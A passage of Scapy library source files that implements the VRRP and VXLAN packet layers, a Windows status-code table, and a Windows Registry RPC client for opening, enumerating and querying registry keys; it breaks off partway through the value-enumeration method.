    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 6WIND <olivier.matz@6wind.com>\n\n\"\"\"\nVRRP (Virtual Router Redundancy Protocol).\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitField, ByteField, FieldLenField, FieldListField, \\\n    IPField, IP6Field, IntField, MultipleTypeField, StrField, XShortField\nfrom scapy.compat import chb, orb\nfrom scapy.layers.inet import IP, in4_chksum, checksum\nfrom scapy.layers.inet6 import IPv6, in6_chksum\nfrom scapy.error import warning\n\nIPPROTO_VRRP = 112\n\n# RFC 3768 - Virtual Router Redundancy Protocol (VRRP)\n\n\nclass VRRP(Packet):\n    fields_desc = [\n        BitField(\"version\", 2, 4),\n        BitField(\"type\", 1, 4),\n        ByteField(\"vrid\", 1),\n        ByteField(\"priority\", 100),\n        FieldLenField(\"ipcount\", None, count_of=\"addrlist\", fmt=\"B\"),\n        ByteField(\"authtype\", 0),\n        ByteField(\"adv\", 1),\n        XShortField(\"chksum\", None),\n        FieldListField(\"addrlist\", [], IPField(\"\", \"0.0.0.0\"),\n                       count_from=lambda pkt: pkt.ipcount),\n        IntField(\"auth1\", 0),\n        IntField(\"auth2\", 0)]\n\n    def post_build(self, p, pay):\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:]\n        return p\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 9:\n            ver_n_type = orb(_pkt[0])\n            if ver_n_type >= 48 and ver_n_type <= 57:  # Version == 3\n                return VRRPv3\n        return VRRP\n\n\n# RFC 5798 -  Virtual Router Redundancy Protocol (VRRP) Version 3\nclass VRRPv3(Packet):\n    fields_desc = [\n        BitField(\"version\", 3, 4),\n        BitField(\"type\", 1, 4),\n        ByteField(\"vrid\", 1),\n        ByteField(\"priority\", 100),\n        FieldLenField(\"ipcount\", None, count_of=\"addrlist\", fmt=\"B\"),\n        BitField(\"res\", 0, 4),\n        BitField(\"adv\", 100, 12),\n        XShortField(\"chksum\", None),\n        MultipleTypeField(\n            [\n                (FieldListField(\"addrlist\", [], IPField(\"\", \"0.0.0.0\"),\n                                count_from=lambda pkt: pkt.ipcount),\n                 lambda p: isinstance(p.underlayer, IP)),\n                (FieldListField(\"addrlist\", [], IP6Field(\"\", \"::\"),\n                                count_from=lambda pkt: pkt.ipcount),\n                 lambda p: isinstance(p.underlayer, IPv6)),\n            ],\n            StrField(\"addrlist\", \"\")\n        )\n    ]\n\n    def post_build(self, p, pay):\n        if self.chksum is None:\n            if isinstance(self.underlayer, IP):\n                ck = in4_chksum(112, self.underlayer, p)\n            elif isinstance(self.underlayer, IPv6):\n                ck = in6_chksum(112, self.underlayer, p)\n            else:\n                warning(\"No IP(v6) layer to compute checksum on VRRP. \"\n                        \"Leaving null\")\n                ck = 0\n            p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:]\n        return p\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 16:\n            ver_n_type = orb(_pkt[0])\n            if ver_n_type < 48 or ver_n_type > 57:  # Version != 3\n                return VRRP\n        return VRRPv3\n\n\n# IPv6 is supported only on VRRPv3\n# Warning: those layers need to be un-binded in the CARP contrib module.\n# If you add/remove any, remember to also edit the one in CARP.py\nbind_layers(IP, VRRP, proto=IPPROTO_VRRP)\nbind_layers(IP, VRRPv3, proto=IPPROTO_VRRP)\nbind_layers(IPv6, VRRPv3, nh=IPPROTO_VRRP)\n"
  },
  {
    "path": "scapy/layers/vxlan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nVirtual eXtensible Local Area Network (VXLAN)\n- RFC 7348 -\n\nA Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks\nhttp://tools.ietf.org/html/rfc7348\nhttps://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt\n\nVXLAN Group Policy Option:\nhttp://tools.ietf.org/html/draft-smith-vxlan-group-policy-00\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down\nfrom scapy.layers.l2 import Ether\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.fields import FlagsField, XByteField, ThreeBytesField, \\\n    ConditionalField, ShortField, ByteEnumField, X3BytesField\n\n_GP_FLAGS = [\"R\", \"R\", \"R\", \"A\", \"R\", \"R\", \"D\", \"R\"]\n\n\nclass VXLAN(Packet):\n    name = \"VXLAN\"\n\n    fields_desc = [\n        FlagsField(\"flags\", 0x8, 8,\n                   ['OAM', 'R', 'NextProtocol', 'Instance',\n                    'V1', 'V2', 'R', 'G']),\n        ConditionalField(\n            ShortField(\"reserved0\", 0),\n            lambda pkt: pkt.flags.NextProtocol,\n        ),\n        ConditionalField(\n            ByteEnumField('NextProtocol', 0,\n                          {0: 'NotDefined',\n                           1: 'IPv4',\n                           2: 'IPv6',\n                           3: 'Ethernet',\n                           4: 'NSH'}),\n            lambda pkt: pkt.flags.NextProtocol,\n        ),\n        ConditionalField(\n            ThreeBytesField(\"reserved1\", 0),\n            lambda pkt: (not pkt.flags.G) and (not pkt.flags.NextProtocol),\n        ),\n        ConditionalField(\n            FlagsField(\"gpflags\", 0, 8, _GP_FLAGS),\n            lambda pkt: pkt.flags.G,\n        ),\n        ConditionalField(\n            ShortField(\"gpid\", 0),\n            lambda pkt: pkt.flags.G,\n        ),\n        X3BytesField(\"vni\", 0),\n        XByteField(\"reserved2\", 0),\n    ]\n\n    # Use default linux implementation port\n    overload_fields = {\n        UDP: {'dport': 8472},\n    }\n\n    def mysummary(self):\n        if self.flags.G:\n            return self.sprintf(\"VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)\")\n        else:\n            return self.sprintf(\"VXLAN (vni=%VXLAN.vni%)\")\n\n\nbind_layers(UDP, VXLAN, dport=4789)  # RFC standard vxlan port\nbind_layers(UDP, VXLAN, dport=4790)  # RFC standard vxlan-gpe port\nbind_layers(UDP, VXLAN, dport=6633)  # New IANA assigned port for use with NSH\nbind_layers(UDP, VXLAN, dport=8472)  # Linux implementation port\nbind_layers(UDP, VXLAN, dport=48879)  # Cisco ACI\nbind_layers(UDP, VXLAN, sport=4789)\nbind_layers(UDP, VXLAN, sport=4790)\nbind_layers(UDP, VXLAN, sport=6633)\nbind_layers(UDP, VXLAN, sport=8472)\n# By default, set both ports to the RFC standard\nbind_layers(UDP, VXLAN, sport=4789, dport=4789)\n\n# Dissection\nbind_bottom_up(VXLAN, Ether, NextProtocol=0)\nbind_bottom_up(VXLAN, IP, NextProtocol=1)\nbind_bottom_up(VXLAN, IPv6, NextProtocol=2)\nbind_bottom_up(VXLAN, Ether, NextProtocol=3)\nbind_bottom_up(VXLAN, Ether, NextProtocol=None)\n# Build\nbind_top_down(VXLAN, Ether, flags=12, NextProtocol=0)\nbind_top_down(VXLAN, IP, flags=12, NextProtocol=1)\nbind_top_down(VXLAN, IPv6, flags=12, NextProtocol=2)\nbind_top_down(VXLAN, Ether, flags=12, NextProtocol=3)\n"
  },
  {
    "path": "scapy/layers/windows/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\n\"\"\"\nThis package implements Windows-specific high level helpers.\nIt makes it easier to use Scapy Windows related objects.\n\nIt currently contains helpers for the Windows Registry.\n\nNote that if you want to tweak specific fields of the underlying\nprotocols, you will have to use the lower level objects directly.\n\"\"\"\n\n# Make sure config is loaded\nfrom scapy.config import conf  # noqa: F401\n"
  },
  {
    "path": "scapy/layers/windows/erref.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-ERREF] error codes\n\"\"\"\n\n# SMB2 sect 3.3.5.15 + [MS-ERREF]\nSTATUS_ERREF = {\n    0x00000000: \"STATUS_SUCCESS\",\n    0x00000002: \"ERROR_FILE_NOT_FOUND\",\n    0x00000003: \"ERROR_PATH_NOT_FOUND\",\n    0x00000005: \"ERROR_ACCESS_DENIED\",\n    0x00000006: \"ERROR_INVALID_HANDLE\",\n    0x00000011: \"ERROR_NOT_SAME_DEVICE\",\n    0x00000013: \"ERROR_WRITE_PROTECT\",\n    0x00000057: \"ERROR_INVALID_PARAMETER\",\n    0xC000006A: \"STATUS_WRONG_PASSWORD\",\n    0x0000007A: \"ERROR_INSUFFICIENT_BUFFER\",\n    0x0000007B: \"ERROR_INVALID_NAME\",\n    0x000000A1: \"ERROR_BAD_PATHNAME\",\n    0x000000B7: \"ERROR_ALREADY_EXISTS\",\n    0x000000EA: \"ERROR_MORE_DATA\",\n    0x00000103: \"STATUS_PENDING\",\n    0x0000010B: \"STATUS_NOTIFY_CLEANUP\",\n    0x0000010C: \"STATUS_NOTIFY_ENUM_DIR\",\n    0x000003E6: \"ERROR_NOACCESS\",\n    0x00000532: \"ERROR_PASSWORD_EXPIRED\",\n    0x00000533: \"ERROR_ACCOUNT_DISABLED\",\n    0x000006F7: \"ERROR_SUBKEY_NOT_FOUND\",\n    0x000006FE: \"ERROR_TRUST_FAILURE\",\n    0x80000005: \"STATUS_BUFFER_OVERFLOW\",\n    0x80000006: \"STATUS_NO_MORE_FILES\",\n    0x8000002D: \"STATUS_STOPPED_ON_SYMLINK\",\n    0x80070005: \"E_ACCESSDENIED\",\n    0x8007000E: \"E_OUTOFMEMORY\",\n    0x80090308: \"SEC_E_INVALID_TOKEN\",\n    0x8009030C: \"SEC_E_LOGON_DENIED\",\n    0x8009030F: \"SEC_E_MESSAGE_ALTERED\",\n    0x80090310: \"SEC_E_OUT_OF_SEQUENCE\",\n    0x80090346: \"SEC_E_BAD_BINDINGS\",\n    0x80090351: \"SEC_E_SMARTCARD_CERT_REVOKED\",\n    0xC0000003: \"STATUS_INVALID_INFO_CLASS\",\n    0xC0000004: \"STATUS_INFO_LENGTH_MISMATCH\",\n    0xC000000D: \"STATUS_INVALID_PARAMETER\",\n    0xC000000F: \"STATUS_NO_SUCH_FILE\",\n    0xC0000016: \"STATUS_MORE_PROCESSING_REQUIRED\",\n    0xC0000022: \"STATUS_ACCESS_DENIED\",\n    0xC0000033: \"STATUS_OBJECT_NAME_INVALID\",\n    0xC0000034: \"STATUS_OBJECT_NAME_NOT_FOUND\",\n    0xC0000043: \"STATUS_SHARING_VIOLATION\",\n    0xC0000061: \"STATUS_PRIVILEGE_NOT_HELD\",\n    0xC0000064: \"STATUS_NO_SUCH_USER\",\n    0xC000006D: \"STATUS_LOGON_FAILURE\",\n    0xC000006E: \"STATUS_ACCOUNT_RESTRICTION\",\n    0xC0000070: \"STATUS_INVALID_WORKSTATION\",\n    0xC0000071: \"STATUS_PASSWORD_EXPIRED\",\n    0xC0000072: \"STATUS_ACCOUNT_DISABLED\",\n    0xC000009A: \"STATUS_INSUFFICIENT_RESOURCES\",\n    0xC00000BA: \"STATUS_FILE_IS_A_DIRECTORY\",\n    0xC00000BB: \"STATUS_NOT_SUPPORTED\",\n    0xC00000C9: \"STATUS_NETWORK_NAME_DELETED\",\n    0xC00000CC: \"STATUS_BAD_NETWORK_NAME\",\n    0xC0000120: \"STATUS_CANCELLED\",\n    0xC0000122: \"STATUS_INVALID_COMPUTER_NAME\",\n    0xC0000128: \"STATUS_FILE_CLOSED\",  # backup error for older Win versions\n    0xC000015B: \"STATUS_LOGON_TYPE_NOT_GRANTED\",\n    0xC000018B: \"STATUS_NO_TRUST_SAM_ACCOUNT\",\n    0xC000019C: \"STATUS_FS_DRIVER_REQUIRED\",\n    0xC0000203: \"STATUS_USER_SESSION_DELETED\",\n    0xC000020C: \"STATUS_CONNECTION_DISCONNECTED\",\n    0xC0000225: \"STATUS_NOT_FOUND\",\n    0xC0000257: \"STATUS_PATH_NOT_COVERED\",\n    0xC000035C: \"STATUS_NETWORK_SESSION_EXPIRED\",\n}\n"
  },
  {
    "path": "scapy/layers/windows/registry.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) github.com/Ebrix\n\n\"\"\"\nWindows Registry RPCs\n\nThis file provides high-level wrapping over Windows Registry related RPCs.\n(scapy.layers.msrpce.raw.ms_rrp)\n\"\"\"\n\nimport struct\n\nfrom enum import IntEnum, IntFlag\nfrom typing import Optional, Union, List\n\nfrom scapy.compat import StrEnum\nfrom scapy.packet import Packet\nfrom scapy.error import log_runtime\n\nfrom scapy.layers.windows.security import (\n    SECURITY_DESCRIPTOR,\n)\nfrom scapy.layers.msrpce.rpcclient import DCERPC_Client\nfrom scapy.layers.dcerpc import (\n    NDRConformantArray,\n    NDRPointer,\n    NDRVaryingArray,\n    DCERPC_Transport,\n    DCE_C_AUTHN_LEVEL,\n    find_dcerpc_interface,\n)\n\nfrom scapy.layers.msrpce.raw.ms_rrp import (\n    BaseRegCloseKey_Request,\n    BaseRegCreateKey_Request,\n    BaseRegDeleteKey_Request,\n    BaseRegDeleteValue_Request,\n    BaseRegEnumKey_Request,\n    BaseRegEnumValue_Request,\n    BaseRegGetKeySecurity_Request,\n    BaseRegGetVersion_Request,\n    BaseRegOpenKey_Request,\n    BaseRegQueryInfoKey_Request,\n    BaseRegQueryInfoKey_Response,\n    BaseRegQueryValue_Request,\n    BaseRegSaveKey_Request,\n    BaseRegSetValue_Request,\n    NDRContextHandle,\n    OpenClassesRoot_Request,\n    OpenCurrentConfig_Request,\n    OpenCurrentUser_Request,\n    OpenLocalMachine_Request,\n    OpenPerformanceData_Request,\n    OpenPerformanceNlsText_Request,\n    OpenPerformanceText_Request,\n    OpenUsers_Request,\n    PRPC_SECURITY_ATTRIBUTES,\n    PRPC_SECURITY_DESCRIPTOR,\n    RPC_UNICODE_STRING,\n)\n\n\nclass RootKeys(StrEnum):\n    \"\"\"\n    Standard root keys for the Windows registry\n    \"\"\"\n\n    HKEY_CLASSES_ROOT = \"HKCR\"\n    HKEY_CURRENT_USER = \"HKCU\"\n    HKEY_LOCAL_MACHINE = \"HKLM\"\n    HKEY_CURRENT_CONFIG = \"HKCC\"\n    HKEY_USERS = \"HKU\"\n    HKEY_PERFORMANCE_DATA = \"HKPD\"\n    HKEY_PERFORMANCE_TEXT = \"HKPT\"\n    HKEY_PERFORMANCE_NLSTEXT = \"HKPN\"\n\n    def __new__(cls, value):\n        # 1. Strip and uppercase the raw input\n        normalized = value.strip().upper()\n        # 2. Create the enum member with the normalized value\n        obj = str.__new__(cls, normalized)\n        obj._value_ = normalized\n        return obj\n\n\nclass RegOptions(IntFlag):\n    \"\"\"\n    Registry options for registry keys\n    \"\"\"\n\n    REG_OPTION_NON_VOLATILE = 0x00000000\n    REG_OPTION_VOLATILE = 0x00000001\n    REG_OPTION_CREATE_LINK = 0x00000002\n    REG_OPTION_BACKUP_RESTORE = 0x00000004\n    REG_OPTION_OPEN_LINK = 0x00000008\n    REG_OPTION_DONT_VIRTUALIZE = 0x00000010\n\n\nclass RegType(IntEnum):\n    \"\"\"\n    Registry value types\n    \"\"\"\n\n    # These constants are used to specify the type of a registry value.\n\n    REG_SZ = 1  # Unicode string\n    REG_EXPAND_SZ = 2  # Unicode string with environment variable expansion\n    REG_BINARY = 3  # Binary data\n    REG_DWORD = 4  # 32-bit unsigned integer\n    REG_DWORD_BIG_ENDIAN = 5  # 32-bit unsigned integer in big-endian format\n    REG_LINK = 6  # Symbolic link\n    REG_MULTI_SZ = 7  # Multiple Unicode strings\n    REG_QWORD = 11  # 64-bit unsigned integer\n    UNK = 99999  # fallback default\n\n    @classmethod\n    def _missing_(cls, value):\n        log_runtime.info(f\"Unknown registry type: {value}, using UNK\")\n        unk = cls.UNK\n        unk.real_value = value\n        return unk\n\n    def __new__(cls, value, real_value=None):\n        obj = int.__new__(cls, value)\n        obj._value_ = value\n        if real_value is None:\n            real_value = value\n        obj.real_value = real_value\n        return obj\n\n    @classmethod\n    def fromstr(cls, value: Union[str, int]) -> \"RegType\":\n        \"\"\"\n        Convert a string to a RegType enum member.\n\n        :param value: The string representation of the registry type.\n        :return: The corresponding RegType enum member.\n        \"\"\"\n        if isinstance(value, int):\n            try:\n                return cls(value)\n            except ValueError:\n                log_runtime.info(f\"Unknown registry type: {value}, using UNK\")\n                return cls.UNK\n        else:\n            # we want to make sure that regdword, reg_dword, dword and upper\n            # case equivalents are all properly parsed\n            value = value.strip().upper()\n            if \"_\" not in value:\n                if value[:3] == \"REG\":\n                    value = value[3:]\n                value = \"REG_\" + value.replace(\"REG\", \"\", 1)\n            try:\n                return cls[value]\n            except (ValueError, KeyError):\n                log_runtime.info(f\"Unknown registry type: {value}, using UNK\")\n            return cls.UNK\n\n\nclass RegEntry:\n    \"\"\"\n    RegEntry represents a Registry Value, inside a Registry Key.\n\n    :param reg_name: the name of the registry value\n    :param reg_type: the type of the registry value\n    :param reg_data: the data of the registry value\n    \"\"\"\n\n    def __init__(\n        self,\n        reg_name: str,\n        reg_type: int,\n        reg_data: Union[list, str, bytes, int],\n    ):\n        # Name\n        self.reg_name = reg_name\n\n        # Type\n        try:\n            self.reg_type = RegType(reg_type)\n        except ValueError:\n            self.reg_type = RegType.UNK\n\n        # Check data type\n        if reg_type == RegType.REG_MULTI_SZ:\n            if not isinstance(reg_data, list):\n                raise ValueError(\"Data must be a 'list' of 'str' for this type.\")\n        elif reg_type in [\n            RegType.REG_SZ,\n            RegType.REG_EXPAND_SZ,\n            RegType.REG_LINK,\n        ]:\n            if not isinstance(reg_data, str):\n                raise ValueError(\"Data must be a 'str' for this type.\")\n        elif reg_type == RegType.REG_BINARY:\n            if not isinstance(reg_data, bytes):\n                raise ValueError(\"Data must be a 'bytes' for this type.\")\n        elif reg_type in [\n            RegType.REG_DWORD,\n            RegType.REG_QWORD,\n            RegType.REG_DWORD_BIG_ENDIAN,\n        ]:\n            if not isinstance(reg_data, int):\n                raise ValueError(\"Data must be a 'int' for this type.\")\n        else:\n            if not isinstance(reg_data, bytes):\n                raise ValueError(\"Data of this unknown type must be a 'bytes'.\")\n\n        self.reg_data = reg_data\n\n    def encode(self) -> bytes:\n        \"\"\"\n        Encode data based on the type.\n        \"\"\"\n        if self.reg_type == RegType.REG_MULTI_SZ:\n            # encode to multiple null terminated strings\n            return (\n                b\"\\x00\\x00\".join(x.strip().encode(\"utf-16le\") for x in self.reg_data)\n                + b\"\\x00\\x00\"  # final \\x00\n                + b\"\\x00\\x00\"  # final empty string\n            )\n        elif self.reg_type in [\n            RegType.REG_SZ,\n            RegType.REG_EXPAND_SZ,\n            RegType.REG_LINK,\n        ]:\n            return self.reg_data.encode(\"utf-16le\")\n        elif self.reg_type == RegType.REG_BINARY:\n            return self.reg_data\n        elif self.reg_type in [\n            RegType.REG_DWORD,\n            RegType.REG_QWORD,\n            RegType.REG_DWORD_BIG_ENDIAN,\n        ]:\n            fmt = {\n                RegType.REG_DWORD: \"<I\",\n                RegType.REG_QWORD: \"<Q\",\n                RegType.REG_DWORD_BIG_ENDIAN: \">I\",\n            }[self.reg_type]\n            return struct.pack(fmt, self.reg_data)\n        else:\n            return self.reg_data\n\n    @staticmethod\n    def frombytes(reg_name: str, reg_type: RegType, data: bytes):\n        \"\"\"\n        Create a RegEntry from bytes read on the network.\n        \"\"\"\n        if reg_type == RegType.REG_MULTI_SZ:\n            # encode to multiple null terminated strings\n            reg_data = data.decode(\"utf-16le\")[:-2].split(\"\\x00\")\n        elif reg_type in [\n            RegType.REG_SZ,\n            RegType.REG_EXPAND_SZ,\n            RegType.REG_LINK,\n        ]:\n            reg_data = data.decode(\"utf-16le\")\n        elif reg_type == RegType.REG_BINARY:\n            reg_data = data\n        elif reg_type in [\n            RegType.REG_DWORD,\n            RegType.REG_QWORD,\n            RegType.REG_DWORD_BIG_ENDIAN,\n        ]:\n            fmt = {\n                RegType.REG_DWORD: \"<I\",\n                RegType.REG_QWORD: \"<Q\",\n                RegType.REG_DWORD_BIG_ENDIAN: \">I\",\n            }[reg_type]\n            reg_data = struct.unpack(fmt, data)[0]\n        else:\n            reg_data = data\n\n        return RegEntry(\n            reg_name=reg_name,\n            reg_type=reg_type,\n            reg_data=reg_data,\n        )\n\n    @staticmethod\n    def fromstr(reg_name: str, reg_type: RegType, data: str):\n        \"\"\"\n        Create a RegEntry from user input.\n        \"\"\"\n        if reg_type == RegType.REG_MULTI_SZ:\n            reg_data = data.split(\";\")\n        elif reg_type in [\n            RegType.REG_SZ,\n            RegType.REG_EXPAND_SZ,\n            RegType.REG_LINK,\n        ]:\n            reg_data = data\n        elif reg_type == RegType.REG_BINARY:\n            reg_data = bytes.fromhex(data)\n        elif reg_type in [\n            RegType.REG_DWORD,\n            RegType.REG_QWORD,\n            RegType.REG_DWORD_BIG_ENDIAN,\n        ]:\n            reg_data = int(data)\n        else:\n            reg_data = data\n\n        return RegEntry(\n            reg_name=reg_name,\n            reg_type=reg_type,\n            reg_data=reg_data,\n        )\n\n    def __str__(self) -> str:\n        return (\n            f\"{self.reg_name} ({self.reg_type.name}: \"\n            + f\"{self.reg_type.real_value if self.reg_type == RegType.UNK else self.reg_type.value}\"  # noqa E501\n            + f\") {self.reg_data}\"\n        )\n\n    def __repr__(self) -> str:\n        return f\"RegEntry({self.reg_name}, {self.reg_type}, {self.reg_data})\"\n\n    def __eq__(self, value):\n        return isinstance(value, RegEntry) and all(\n            [\n                self.reg_data == value.reg_data,\n                self.reg_type == value.reg_type,\n                self.reg_data == value.reg_data,\n            ]\n        )\n\n\nclass RRP_Client(DCERPC_Client):\n    \"\"\"\n    High level [MS-RRP] (Windows Registry) Client\n    \"\"\"\n\n    def __init__(\n        self,\n        auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,\n        verb=True,\n        **kwargs,\n    ):\n        self.interface = find_dcerpc_interface(\"winreg\")\n        super(RRP_Client, self).__init__(\n            DCERPC_Transport.NCACN_NP,\n            auth_level=auth_level,\n            verb=verb,\n            **kwargs,\n        )\n\n    def connect(self, host, **kwargs):\n        \"\"\"\n        This calls DCERPC_Client's connect\n        \"\"\"\n        super(RRP_Client, self).connect(\n            host=host,\n            interface=self.interface,\n            endpoint=\"winreg\",\n            **kwargs,\n        )\n\n    def bind(self):\n        \"\"\"\n        This calls DCERPC_Client's bind\n        \"\"\"\n        super(RRP_Client, self).bind(self.interface)\n\n    def get_root_key_handle(\n        self,\n        root_key_name: RootKeys,\n        sam_desired: int = 0x2000000,  # Maximum Allowed\n        timeout: int = 5,\n    ) -> Optional[NDRContextHandle]:\n        \"\"\"\n        Get a handle to a root key.\n\n        :param root_key_name: The name of the root key to open.\n                              Must be one of the RootKeys enum values.\n        :param sam_desired: The desired access rights for the key.\n        :param ServerName: The server name. The ServerName SHOULD be\n                           sent as NULL, and MUST be ignored\n                           when it is received because binding to the server\n                           is already complete at this stage\n        :return: The handle to the opened root key.\n        \"\"\"\n\n        cls_req = {\n            RootKeys.HKEY_CLASSES_ROOT: OpenClassesRoot_Request,\n            RootKeys.HKEY_CURRENT_USER: OpenCurrentUser_Request,\n            RootKeys.HKEY_LOCAL_MACHINE: OpenLocalMachine_Request,\n            RootKeys.HKEY_USERS: OpenUsers_Request,\n            RootKeys.HKEY_CURRENT_CONFIG: OpenCurrentConfig_Request,\n            RootKeys.HKEY_PERFORMANCE_DATA: OpenPerformanceData_Request,\n            RootKeys.HKEY_PERFORMANCE_TEXT: OpenPerformanceText_Request,\n            RootKeys.HKEY_PERFORMANCE_NLSTEXT: OpenPerformanceNlsText_Request,\n        }\n\n        if root_key_name not in cls_req:\n            raise ValueError(f\"Unknown root key: {root_key_name}\")\n\n        return self.sr1_req(\n            cls_req[root_key_name](\n                ServerName=None,\n                samDesired=sam_desired,\n            ),\n            timeout=timeout,\n        ).phKey\n\n    def get_subkey_handle(\n        self,\n        root_key_handle: NDRContextHandle,\n        subkey_path: str,\n        desired_access_rights: int = 0x2000000,  # Maximum Allowed\n        options: RegOptions = RegOptions.REG_OPTION_NON_VOLATILE,\n        timeout: int = 5,\n    ) -> NDRContextHandle:\n        \"\"\"\n        Get a handle to a subkey.\n\n        :param root_key_handle: The handle to the root key.\n        :param subkey_path: The name of the subkey to open.\n        :param desired_access_rights: The desired access rights for the subkey.\n        :param timeout: The timeout for the request.\n        :return: The handle to the opened subkey.\n        \"\"\"\n\n        # Ensure it is null-terminated and handle the special case of \".\"\n        if str(subkey_path) == \".\":\n            subkey_path = \"\\x00\"\n        elif not str(subkey_path).endswith(\"\\x00\"):\n            subkey_path = str(subkey_path) + \"\\x00\"\n\n        response = self.sr1_req(\n            BaseRegOpenKey_Request(\n                hKey=root_key_handle,\n                lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path),\n                samDesired=desired_access_rights,\n                dwOptions=options,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            raise ValueError(response.status)\n\n        return response.phkResult\n\n    def get_version(\n        self,\n        key_handle: NDRContextHandle,\n        timeout: int = 5,\n    ) -> Packet:\n        \"\"\"\n        Get the version of the registry server.\n\n        :param client: The DCERPC client.\n        :param timeout: The timeout for the request.\n        :return: The response packet containing the version information.\n        \"\"\"\n\n        response = self.sr1_req(\n            BaseRegGetVersion_Request(\n                hKey=key_handle,\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            log_runtime.error(\n                \"Got status %s while getting version\", hex(response.status)\n            )\n\n        return response\n\n    def get_key_info(\n        self,\n        key_handle: NDRContextHandle,\n        timeout: int = 5,\n    ) -> BaseRegQueryInfoKey_Response:\n        \"\"\"\n        Get information about a given registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param timeout: The timeout for the request.\n        :return: The response packet containing the key information.\n        \"\"\"\n\n        response = self.sr1_req(\n            BaseRegQueryInfoKey_Request(\n                hKey=key_handle,\n                lpClassIn=RPC_UNICODE_STRING(),\n            ),\n            timeout=timeout,\n        )\n\n        if response.status != 0:\n            log_runtime.error(\n                \"Got status %s while querying key info\", hex(response.status)\n            )\n            raise ValueError(response.status)\n\n        return response\n\n    def get_key_security(\n        self,\n        key_handle: NDRContextHandle,\n        security_information: int = None,\n        timeout: int = 5,\n    ) -> SECURITY_DESCRIPTOR:\n        \"\"\"\n        Get the security descriptor of a given registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param security_information: The security information to retrieve.\n        :param timeout: The timeout for the request.\n        :return: The response packet containing the security descriptor.\n        \"\"\"\n\n        if security_information is None:\n            security_information = (\n                0x00000001  # OWNER_SECURITY_INFORMATION\n                | 0x00000002  # GROUP_SECURITY_INFORMATION\n                | 0x00000004  # DACL_SECURITY_INFORMATION\n            )\n\n        # Build initial request\n        req = BaseRegGetKeySecurity_Request(\n            hKey=key_handle,\n            SecurityInformation=security_information,\n            pRpcSecurityDescriptorIn=PRPC_SECURITY_DESCRIPTOR(\n                cbInSecurityDescriptor=512,  # Initial size of the buffer\n            ),\n        )\n\n        # Send request\n        response = self.sr1_req(req, timeout=timeout)\n        if response.status == 0x0000007A:  # ERROR_INSUFFICIENT_BUFFER\n            # The buffer was too small, we need to retry with a larger one\n            req.pRpcSecurityDescriptorIn.cbInSecurityDescriptor = (\n                response.pRpcSecurityDescriptorOut.cbInSecurityDescriptor\n            )\n            response = self.sr1_req(req, timeout=timeout)\n\n        # Check the response status\n        if response.status != 0:\n            log_runtime.error(\n                \"Got status %s while getting security\", hex(response.status)\n            )\n            return None\n\n        return SECURITY_DESCRIPTOR(\n            response.pRpcSecurityDescriptorOut.valueof(\"lpSecurityDescriptor\")\n        )\n\n    def enum_subkeys(\n        self,\n        key_handle: NDRContextHandle,\n        timeout: int = 5,\n    ) -> List[str]:\n        \"\"\"\n        Enumerate subkeys of a given registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param timeout: The timeout for the request.\n        :return: A generator yielding the responses for each enumerated subkey.\n        \"\"\"\n        index = 0\n        results = []\n\n        while True:\n            response = self.sr1_req(\n                BaseRegEnumKey_Request(\n                    hKey=key_handle,\n                    dwIndex=index,\n                    lpNameIn=RPC_UNICODE_STRING(MaximumLength=1024),\n                    lpClassIn=RPC_UNICODE_STRING(),\n                    lpftLastWriteTime=None,\n                ),\n                timeout=timeout,\n            )\n\n            # Send request\n            if response.status == 0x00000103:  # ERROR_NO_MORE_ITEMS\n                break\n            # Check the response status\n            elif response.status != 0:\n                raise ValueError(response.status)\n\n            index += 1\n            results.append(response.lpNameOut.valueof(\"Buffer\")[:-1].decode())\n\n        return results\n\n    def enum_values(\n        self,\n        key_handle: NDRContextHandle,\n        timeout: int = 5,\n    ) -> List[RegEntry]:\n        \"\"\"\n        Enumerate values of a given registry key.\n\n        :param hKey: The handle to the registry key (root key or subkey).\n        :param timeout: The timeout for the request.\n        :return: A generator yielding the responses for each enumerated value.\n        \"\"\"\n        index = 0\n        results = []\n\n        while True:\n            # Get the name and value at index `index`\n            response = self.sr1_req(\n                BaseRegEnumValue_Request(\n                    hKey=key_handle,\n                    dwIndex=index,\n                    lpValueNameIn=RPC_UNICODE_STRING(\n                        MaximumLength=2048,\n                        Buffer=NDRPointer(\n                            value=NDRConformantArray(\n                                max_count=1024, value=NDRVaryingArray(value=b\"\")\n                            )\n                        ),\n                    ),\n                    lpType=0,  # pointer to type, set to 0 for query\n                    lpData=None,  # pointer to buffer\n                    lpcbData=0,  # pointer to buffer size\n                    lpcbLen=0,  # 